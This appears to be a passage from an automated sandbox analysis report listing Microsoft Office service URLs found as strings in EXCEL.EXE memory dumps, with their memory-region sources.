    Source: EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmpString found in binary or memory: https://officeapps.live.comD
    Source: EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmpString found in binary or memory: https://officeapps.live.comf
    Source: EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmpString found in binary or memory: https://officeapps.live.comi
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://officeapps.live.comocal
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://officeapps.live.comocalE
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://officeapps.live.comr
    Source: EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmpString found in binary or memory: https://officeapps.live.comtBX
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://officeapps.live.comx
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437823692.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424016490.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
    Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.693791687.000000000FE20000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437399577.000000000FE4E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421467641.000000000FE4E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499558135.000000000FE4C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
    Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.693791687.000000000FE20000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437399577.000000000FE4E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421467641.000000000FE4E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499558135.000000000FE4C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437276750.000000000FFBD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537569831.000000000FFBD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500642347.000000000FFBD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499190184.000000000FFBD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501433444.000000000FFBD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424209566.000000000FFBD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593431208.000000000FFBB000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421976593.000000000FFBD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.694213818.000000000FFBD000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://onedrive.live.com
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
    Source: EXCEL.EXE, 00000000.00000002.692974319.000000000E072000.00000004.00000001.sdmpString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false?
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://onedrive.live.com/embed?
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmpString found in binary or memory: https://onedrive.live.comOneDriveLogUploadServicehttps://storage.live.com/clientlogs/uploadlocationM
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://onedrive.live.comedyig
    Source: EXCEL.EXE, 00000000.00000003.536713602.00000000136BD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678600620.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550909072.00000000136BD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499446246.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695468754.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422673092.00000000136A6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594096039.000000001367C000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://osi.office.net
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://osi.office.netst
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://otelrules.azureedge.net
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://otelrules.azureedge.net2o
    Source: EXCEL.EXE, 00000000.00000003.678152004.00000000162F2000.00000004.00000001.sdmpString found in binary or memory: https://outlook.of
    Source: EXCEL.EXE, 00000000.00000003.499023954.00000000162F1000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500805327.00000000162F1000.00000004.00000001.sdmpString found in binary or memory: https://outlook.office
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://outlook.office.com
    Source: EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277937886.0000000013779000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://outlook.office.com/
    Source: EXCEL.EXE, 00000000.00000003.499403572.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422621252.0000000013649000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678575616.000000001365A000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594060910.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695430000.0000000013661000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmpString found in binary or memory: https://outlook.office.com2BFEE2(
    Source: EXCEL.EXE, 00000000.00000003.499023954.00000000162F1000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500805327.00000000162F1000.00000004.00000001.sdmpString found in binary or memory: https://outlook.office.comSharepointFilesH
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://outlook.office.comon8
